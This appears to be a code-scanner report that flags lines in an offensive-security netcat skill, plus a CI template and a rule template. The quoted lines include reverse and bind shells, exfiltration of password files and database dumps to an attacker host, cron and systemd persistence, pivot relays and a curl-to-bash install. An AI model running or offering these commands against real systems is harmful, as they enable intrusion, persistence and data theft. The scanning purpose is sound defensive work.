  • Network accessline 111
    nc <target-ip> 22
  • Network accessline 113
    # Generic banner grab with timeout timeout 2 nc <target-ip> <port>
  • Network accessline 113
    # Generic banner grab with timeout timeout 2 nc <target-ip> <port>
  • Network accessline 114
    timeout 2 nc <target-ip> <port>
  • Network accessline 114
    timeout 2 nc <target-ip> <port>
  • Network accessline 120
    # MySQL banner nc <target-ip> 3306
  • Network accessline 120
    # MySQL banner nc <target-ip> 3306
  • Network accessline 121
    nc <target-ip> 3306
  • Network accessline 121
    nc <target-ip> 3306
  • Network accessline 123
    # PostgreSQL banner nc <target-ip> 5432
  • Network accessline 123
    # PostgreSQL banner nc <target-ip> 5432
  • Network accessline 124
    nc <target-ip> 5432
  • Network accessline 124
    nc <target-ip> 5432
  • Network accessline 126
    # SMB/CIFS banner nc <target-ip> 445
  • Network accessline 126
    # SMB/CIFS banner nc <target-ip> 445
  • Network accessline 127
    nc <target-ip> 445
  • Network accessline 127
    nc <target-ip> 445
  • Network accessline 129
    # RDP banner nc <target-ip> 3389
  • Network accessline 129
    # RDP banner nc <target-ip> 3389
  • Network accessline 130
    nc <target-ip> 3389
  • Network accessline 130
    nc <target-ip> 3389
  • Network accessline 138
    # Scan single port nc -zv <target-ip> 80
  • Network accessline 138
    # Scan single port nc -zv <target-ip> 80
  • Network accessline 139
    nc -zv <target-ip> 80
  • Network accessline 139
    nc -zv <target-ip> 80
  • Network accessline 141
    # Scan port range nc -zv <target-ip> 1-1000
  • Network accessline 141
    # Scan port range nc -zv <target-ip> 1-1000
  • Network accessline 142
    nc -zv <target-ip> 1-1000
  • Network accessline 142
    nc -zv <target-ip> 1-1000
  • Network accessline 144
    # Scan specific ports for port in 21 22 23 25 80 443 3389; do   nc -zv <target-ip> $port 2>&1 | grep succeeded
  • Network accessline 144
    # Scan specific ports for port in 21 22 23 25 80 443 3389; do   nc -zv <target-ip> $port 2>&1 | grep succeeded
  • Network accessline 145
    for port in 21 22 23 25 80 443 3389; do   nc -zv <target-ip> $port 2>&1 | grep succeeded done
  • Network accessline 145
    for port in 21 22 23 25 80 443 3389; do   nc -zv <target-ip> $port 2>&1 | grep succeeded done
  • Network accessline 146
    nc -zv <target-ip> $port 2>&1 | grep succeeded
  • Network accessline 146
    nc -zv <target-ip> $port 2>&1 | grep succeeded
  • Network accessline 149
    # Fast UDP scan nc -uzv <target-ip> 53,161,500
  • Network accessline 149
    # Fast UDP scan nc -uzv <target-ip> 53,161,500
  • Network accessline 150
    nc -uzv <target-ip> 53,161,500
  • Network accessline 150
    nc -uzv <target-ip> 53,161,500
  • Network accessline 153
    **Limitations of netcat port scanning**:
  • Network accessline 153
    **Limitations of netcat port scanning**:
  • Network accessline 165
    # Start listener nc -lvnp 4444
  • Network accessline 165
    # Start listener nc -lvnp 4444
  • Network accessline 166
    nc -lvnp 4444
  • Network accessline 166
    nc -lvnp 4444
  • Network accessline 168
    # With verbose output nc -lvnp 4444 -v
  • Network accessline 168
    # With verbose output nc -lvnp 4444 -v
  • Network accessline 169
    nc -lvnp 4444 -v
  • Network accessline 169
    nc -lvnp 4444 -v
  • Network accessline 175
    # Linux reverse shell nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 175
    # Linux reverse shell nc <attacker-ip> 4444 -e /bin/bash
  • Dangerous shell operationline 176
    nc <attacker-ip> 4444 -e /bin/bash
  • Dangerous shell operationline 176
    nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 176
    nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 176
    nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 178
    # If -e not available (OpenBSD netcat) rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Network accessline 178
    # If -e not available (OpenBSD netcat) rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Dangerous shell operationline 179
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Dangerous shell operationline 179
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Network accessline 179
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Network accessline 179
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Network accessline 181
    # Python reverse shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh",
  • Network accessline 181
    # Python reverse shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh",
  • Network accessline 182
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
  • Network accessline 182
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
  • Network accessline 184
    # Bash reverse shell bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
  • Network accessline 184
    # Bash reverse shell bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
  • Dangerous shell operationline 185
    bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
  • Dangerous shell operationline 185
    bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
  • Network accessline 185
    bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
  • Network accessline 185
    bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
  • Network accessline 213
    # Linux bind shell nc -lvnp 4444 -e /bin/bash
  • Network accessline 213
    # Linux bind shell nc -lvnp 4444 -e /bin/bash
  • Dangerous shell operationline 214
    nc -lvnp 4444 -e /bin/bash
  • Dangerous shell operationline 214
    nc -lvnp 4444 -e /bin/bash
  • Network accessline 214
    nc -lvnp 4444 -e /bin/bash
  • Network accessline 214
    nc -lvnp 4444 -e /bin/bash
  • Network accessline 216
    # Without -e flag rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
  • Network accessline 216
    # Without -e flag rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
  • Dangerous shell operationline 217
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
  • Dangerous shell operationline 217
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
  • Network accessline 217
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
  • Network accessline 217
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
  • Network accessline 225
    nc <target-ip> 4444
  • Network accessline 225
    nc <target-ip> 4444
  • Network accessline 238
    # Receive file on port 5555 nc -lvnp 5555 > received_file.txt
  • Network accessline 238
    # Receive file on port 5555 nc -lvnp 5555 > received_file.txt
  • Network accessline 239
    nc -lvnp 5555 > received_file.txt
  • Network accessline 239
    nc -lvnp 5555 > received_file.txt
  • Network accessline 244
    # Send file to listener nc <receiver-ip> 5555 < file_to_send.txt
  • Network accessline 244
    # Send file to listener nc <receiver-ip> 5555 < file_to_send.txt
  • Network accessline 245
    nc <receiver-ip> 5555 < file_to_send.txt
  • Network accessline 245
    nc <receiver-ip> 5555 < file_to_send.txt
  • Network accessline 247
    # With progress indication pv file_to_send.txt | nc <receiver-ip> 5555
  • Network accessline 247
    # With progress indication pv file_to_send.txt | nc <receiver-ip> 5555
  • Network accessline 248
    pv file_to_send.txt | nc <receiver-ip> 5555
  • Network accessline 248
    pv file_to_send.txt | nc <receiver-ip> 5555
  • Network accessline 254
    # Sender: tar and compress directory, send via netcat tar czf - /path/to/directory | nc <receiver-ip> 5555
  • Network accessline 254
    # Sender: tar and compress directory, send via netcat tar czf - /path/to/directory | nc <receiver-ip> 5555
  • Network accessline 255
    tar czf - /path/to/directory | nc <receiver-ip> 5555
  • Network accessline 255
    tar czf - /path/to/directory | nc <receiver-ip> 5555
  • Network accessline 257
    # Receiver: receive and extract nc -lvnp 5555 | tar xzf -
  • Network accessline 257
    # Receiver: receive and extract nc -lvnp 5555 | tar xzf -
  • Network accessline 258
    nc -lvnp 5555 | tar xzf -
  • Network accessline 258
    nc -lvnp 5555 | tar xzf -
  • Network accessline 264
    # Sender: calculate checksum before sending md5sum large_file.iso cat large_file.iso | nc <receiver-ip> 5555
  • Network accessline 264
    # Sender: calculate checksum before sending md5sum large_file.iso cat large_file.iso | nc <receiver-ip> 5555
  • Network accessline 266
    cat large_file.iso | nc <receiver-ip> 5555
  • Network accessline 266
    cat large_file.iso | nc <receiver-ip> 5555
  • Network accessline 268
    # Receiver: receive and verify nc -lvnp 5555 > large_file.iso
  • Network accessline 268
    # Receiver: receive and verify nc -lvnp 5555 > large_file.iso
  • Network accessline 269
    nc -lvnp 5555 > large_file.iso
  • Network accessline 269
    nc -lvnp 5555 > large_file.iso
  • Network accessline 275
    Use ncat with SSL for encrypted transfers:
  • Network accessline 275
    Use ncat with SSL for encrypted transfers:
  • Network accessline 278
    # Receiver with SSL ncat -lvnp 5555 --ssl > received_file.txt
  • Network accessline 278
    # Receiver with SSL ncat -lvnp 5555 --ssl > received_file.txt
  • Network accessline 279
    ncat -lvnp 5555 --ssl > received_file.txt
  • Network accessline 279
    ncat -lvnp 5555 --ssl > received_file.txt
  • Network accessline 281
    # Sender with SSL ncat <receiver-ip> 5555 --ssl < file_to_send.txt
  • Network accessline 281
    # Sender with SSL ncat <receiver-ip> 5555 --ssl < file_to_send.txt
  • Network accessline 282
    ncat <receiver-ip> 5555 --ssl < file_to_send.txt
  • Network accessline 282
    ncat <receiver-ip> 5555 --ssl < file_to_send.txt
  • Network accessline 284
    # Generate self-signed certificate for ncat openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key
  • Network accessline 284
    # Generate self-signed certificate for ncat openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key
  • Network accessline 286
    ncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key
  • Network accessline 286
    ncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key
  • Network accessline 294
    # Simple relay: forward connections from port 8080 to internal host mkfifo backpipe nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe
  • Network accessline 294
    # Simple relay: forward connections from port 8080 to internal host mkfifo backpipe nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe
  • Network accessline 296
    nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe
  • Network accessline 296
    nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe
  • Network accessline 298
    # Two-way relay nc -lvnp 8080 -c "nc <internal-target-ip> 80"
  • Network accessline 298
    # Two-way relay nc -lvnp 8080 -c "nc <internal-target-ip> 80"
  • Network accessline 299
    nc -lvnp 8080 -c "nc <internal-target-ip> 80"
  • Network accessline 299
    nc -lvnp 8080 -c "nc <internal-target-ip> 80"
  • Network accessline 301
    # Use ncat for more reliable relay
  • Network accessline 301
    # Use ncat for more reliable relay
  • Network accessline 302
    ncat -lvnp 8080 --sh-exec "ncat <internal-target-ip> 80"
  • Network accessline 302
    ncat -lvnp 8080 --sh-exec "ncat <internal-target-ip> 80"
  • Network accessline 308
    # Compromised Host A (DMZ): relay to internal network nc -lvnp 9090 -c "nc 192.168.1.100 3389"
  • Network accessline 308
    # Compromised Host A (DMZ): relay to internal network nc -lvnp 9090 -c "nc 192.168.1.100 3389"
  • Network accessline 309
    nc -lvnp 9090 -c "nc 192.168.1.100 3389"
  • Network accessline 309
    nc -lvnp 9090 -c "nc 192.168.1.100 3389"
  • Network accessline 311
    # Attacker: connect through pivot nc <compromised-host-a> 9090
  • Network accessline 311
    # Attacker: connect through pivot nc <compromised-host-a> 9090
  • Network accessline 312
    nc <compromised-host-a> 9090
  • Network accessline 312
    nc <compromised-host-a> 9090
  • Network accessline 320
    # Host 1 (listener) nc -lvnp 6666
  • Network accessline 320
    # Host 1 (listener) nc -lvnp 6666
  • Network accessline 321
    nc -lvnp 6666
  • Network accessline 321
    nc -lvnp 6666
  • Network accessline 323
    # Host 2 (connector) nc <host1-ip> 6666
  • Network accessline 323
    # Host 2 (connector) nc <host1-ip> 6666
  • Network accessline 324
    nc <host1-ip> 6666
  • Network accessline 324
    nc <host1-ip> 6666
  • Network accessline 333
    - **Written Permission**: Obtain explicit authorization for all netcat operations
  • Network accessline 333
    - **Written Permission**: Obtain explicit authorization for all netcat operations
  • Network accessline 341
    - **Encryption**: Use ncat with --ssl for encrypted connections - **Logging**: Netcat leaves minimal forensic artifacts but connections are logged
  • Network accessline 341
    - **Encryption**: Use ncat with --ssl for encrypted connections - **Logging**: Netcat leaves minimal forensic artifacts but connections are logged
  • Network accessline 342
    - **Logging**: Netcat leaves minimal forensic artifacts but connections are logged
  • Network accessline 342
    - **Logging**: Netcat leaves minimal forensic artifacts but connections are logged
  • Network accessline 349
    Document all netcat activities:
  • Network accessline 349
    Document all netcat activities:
  • Network accessline 372
    # Test for command injection vulnerability echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 372
    # Test for command injection vulnerability echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 373
    echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 373
    echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 375
    # SQL injection parameter testing echo -e "GET /page?id=1' OR '1'='1 HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 375
    # SQL injection parameter testing echo -e "GET /page?id=1' OR '1'='1 HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 376
    echo -e "GET /page?id=1' OR '1'='1 HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 376
    echo -e "GET /page?id=1' OR '1'='1 HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 378
    # Test HTTP methods echo -e "OPTIONS / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 378
    # Test HTTP methods echo -e "OPTIONS / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 379
    echo -e "OPTIONS / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 379
    echo -e "OPTIONS / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 385
    # Stage 1: Attacker listener nc -lvnp 4444 > stage2_payload.sh
  • Network accessline 385
    # Stage 1: Attacker listener nc -lvnp 4444 > stage2_payload.sh
  • Network accessline 386
    nc -lvnp 4444 > stage2_payload.sh
  • Network accessline 386
    nc -lvnp 4444 > stage2_payload.sh
  • Network accessline 388
    # Stage 2: Target downloads next stage nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
  • Network accessline 388
    # Stage 2: Target downloads next stage nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
  • Network accessline 389
    nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
  • Network accessline 389
    nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
  • Network accessline 400
    # Exfiltrate sensitive files cat /etc/passwd | nc <attacker-ip> 5555
  • Network accessline 400
    # Exfiltrate sensitive files cat /etc/passwd | nc <attacker-ip> 5555
  • Network accessline 401
    cat /etc/passwd | nc <attacker-ip> 5555
  • Network accessline 401
    cat /etc/passwd | nc <attacker-ip> 5555
  • Network accessline 403
    # Exfiltrate database dump mysqldump -u root -p database_name | nc <attacker-ip> 5555
  • Network accessline 403
    # Exfiltrate database dump mysqldump -u root -p database_name | nc <attacker-ip> 5555
  • Network accessline 404
    mysqldump -u root -p database_name | nc <attacker-ip> 5555
  • Network accessline 404
    mysqldump -u root -p database_name | nc <attacker-ip> 5555
  • Network accessline 406
    # Compress and exfiltrate directory tar czf - /var/www/html | nc <attacker-ip> 5555
  • Network accessline 406
    # Compress and exfiltrate directory tar czf - /var/www/html | nc <attacker-ip> 5555
  • Network accessline 407
    tar czf - /var/www/html | nc <attacker-ip> 5555
  • Network accessline 407
    tar czf - /var/www/html | nc <attacker-ip> 5555
  • Network accessline 409
    # Receiver nc -lvnp 5555 > exfiltrated_data.tar.gz
  • Network accessline 409
    # Receiver nc -lvnp 5555 > exfiltrated_data.tar.gz
  • Network accessline 410
    nc -lvnp 5555 > exfiltrated_data.tar.gz
  • Network accessline 410
    nc -lvnp 5555 > exfiltrated_data.tar.gz
  • Network accessline 422
    [Service] Type=simple ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 422
    [Service] Type=simple ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 423
    Type=simple ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash Restart=always
  • Network accessline 423
    Type=simple ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash Restart=always
  • Dangerous shell operationline 424
    ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
  • Dangerous shell operationline 424
    ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 424
    ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 424
    ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
  • Network accessline 435
    # Cron-based persistence (crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
  • Network accessline 435
    # Cron-based persistence (crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
  • Dangerous shell operationline 436
    (crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
  • Dangerous shell operationline 436
    (crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
  • Network accessline 436
    (crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
  • Network accessline 436
    (crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
  • Network accessline 446
    Use netcat as post-exploitation utility:
  • Network accessline 446
    Use netcat as post-exploitation utility:
  • Network accessline 449
    # Metasploit session backgrounding and netcat shell
  • Network accessline 449
    # Metasploit session backgrounding and netcat shell
  • Dangerous shell operationline 450
    meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
  • Dangerous shell operationline 450
    meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
  • Network accessline 450
    meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
  • Network accessline 450
    meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
  • Network accessline 452
    # Upload netcat to target
  • Network accessline 452
    # Upload netcat to target
  • Network accessline 453
    meterpreter > upload /usr/bin/nc /tmp/nc
  • Network accessline 453
    meterpreter > upload /usr/bin/nc /tmp/nc
  • Dangerous shell operationline 455
    sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
  • Dangerous shell operationline 455
    sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
  • Network accessline 455
    sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
  • Network accessline 455
    sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
  • Network accessline 469
    TIMESTAMP=$(date +%H%M%S)   echo "[*] Listening on port $PORT..."   nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"
  • Network accessline 469
    TIMESTAMP=$(date +%H%M%S)   echo "[*] Listening on port $PORT..."   nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"
  • Network accessline 470
    echo "[*] Listening on port $PORT..."   nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"   echo "[*] Connection closed, restarting listener..."
  • Network accessline 470
    echo "[*] Listening on port $PORT..."   nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"   echo "[*] Connection closed, restarting listener..."
  • Network accessline 471
    nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"
  • Network accessline 471
    nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"
  • Network accessline 483
    # Install netcat (Ubuntu/Debian)
  • Network accessline 483
    # Install netcat (Ubuntu/Debian)
  • Dangerous shell operationline 484
    sudo apt-get install netcat-traditional
  • Dangerous shell operationline 484
    sudo apt-get install netcat-traditional
  • Dangerous shell operationline 485
    sudo apt-get install netcat-openbsd
  • Dangerous shell operationline 485
    sudo apt-get install netcat-openbsd
  • Network accessline 487
    # Install ncat (Nmap project, more features)
  • Network accessline 487
    # Install ncat (Nmap project, more features)
  • Dangerous shell operationline 488
    sudo apt-get install ncat
  • Dangerous shell operationline 488
    sudo apt-get install ncat
  • Network accessline 490
    # Check available version which nc ncat netcat
  • Network accessline 490
    # Check available version which nc ncat netcat
  • Network accessline 491
    which nc ncat netcat
  • Network accessline 491
    which nc ncat netcat
  • Network accessline 499
    # Linux reverse shell without -e rm /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Network accessline 499
    # Linux reverse shell without -e rm /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Dangerous shell operationline 500
    rm /tmp/f; mkfifo /tmp/f
  • Dangerous shell operationline 500
    rm /tmp/f; mkfifo /tmp/f
  • Network accessline 501
    cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Network accessline 501
    cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
  • Dangerous shell operationline 503
    # Or use ncat which supports -e
  • Dangerous shell operationline 503
    # Or use ncat which supports -e
  • Network accessline 503
    # Or use ncat which supports -e
  • Network accessline 503
    # Or use ncat which supports -e
  • Dangerous shell operationline 504
    ncat <attacker-ip> 4444 -e /bin/bash
  • Dangerous shell operationline 504
    ncat <attacker-ip> 4444 -e /bin/bash
  • Network accessline 504
    ncat <attacker-ip> 4444 -e /bin/bash
  • Network accessline 504
    ncat <attacker-ip> 4444 -e /bin/bash
  • Network accessline 516
    # Keep connection alive with while loop while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
  • Network accessline 516
    # Keep connection alive with while loop while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
  • Dangerous shell operationline 517
    while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
  • Dangerous shell operationline 517
    while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
  • Network accessline 517
    while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
  • Network accessline 517
    while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
  • Network accessline 519
    # Use ncat with keep-alive
  • Network accessline 519
    # Use ncat with keep-alive
  • Network accessline 520
    ncat -lvnp 4444 --keep-open
  • Network accessline 520
    ncat -lvnp 4444 --keep-open
  • Network accessline 522
    # Add reconnection logic while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
  • Network accessline 522
    # Add reconnection logic while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
  • Dangerous shell operationline 523
    while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
  • Dangerous shell operationline 523
    while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
  • Network accessline 523
    while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
  • Network accessline 523
    while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
  • Network accessline 543
    Organizations can detect netcat activity by:
  • Network accessline 543
    Organizations can detect netcat activity by:
  • Network accessline 545
    - **Process Monitoring**: Detect nc/ncat process execution
  • Network accessline 545
    - **Process Monitoring**: Detect nc/ncat process execution
  • Network accessline 547
    - **Command-Line Auditing**: Monitor for -e flag usage - **Traffic Analysis**: Unencrypted shell traffic patterns - **File Integrity**: Detect unauthorized netcat binaries
  • Network accessline 547
    - **Command-Line Auditing**: Monitor for -e flag usage - **Traffic Analysis**: Unencrypted shell traffic patterns - **File Integrity**: Detect unauthorized netcat binaries
  • Network accessline 549
    - **File Integrity**: Detect unauthorized netcat binaries
  • Network accessline 549
    - **File Integrity**: Detect unauthorized netcat binaries
  • Network accessline 555
    - Enable egress filtering on firewalls - Audit Sysmon Event ID 1 (Process Creation) for nc/ncat - Detect named pipe creation (Linux: mkfifo)
  • Network accessline 555
    - Enable egress filtering on firewalls - Audit Sysmon Event ID 1 (Process Creation) for nc/ncat - Detect named pipe creation (Linux: mkfifo)
  • Network accessline 556
    - Audit Sysmon Event ID 1 (Process Creation) for nc/ncat - Detect named pipe creation (Linux: mkfifo) - Monitor cron jobs and systemd services for suspicious entries
  • Network accessline 556
    - Audit Sysmon Event ID 1 (Process Creation) for nc/ncat - Detect named pipe creation (Linux: mkfifo) - Monitor cron jobs and systemd services for suspicious entries
  • Network accessline 562
    - [Ncat Users' Guide](https://nmap.org/ncat/guide/index.html) - [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/)
  • Network accessline 562
    - [Ncat Users' Guide](https://nmap.org/ncat/guide/index.html) - [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/)
  • Network accessline 563
    - [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/)
  • Network accessline 563
    - [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/)
  • Network accessline 564
    - [MITRE ATT&CK: Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/)
  • Network accessline 564
    - [MITRE ATT&CK: Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/)
  • Network accessline 565
    - [PTES: Post Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation)
  • Network accessline 565
    - [PTES: Post Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation)
  • Network accessline 566
    - [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
  • Network accessline 566
    - [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

skills/offsec/network-netcat/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/offsec/network-netcat/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
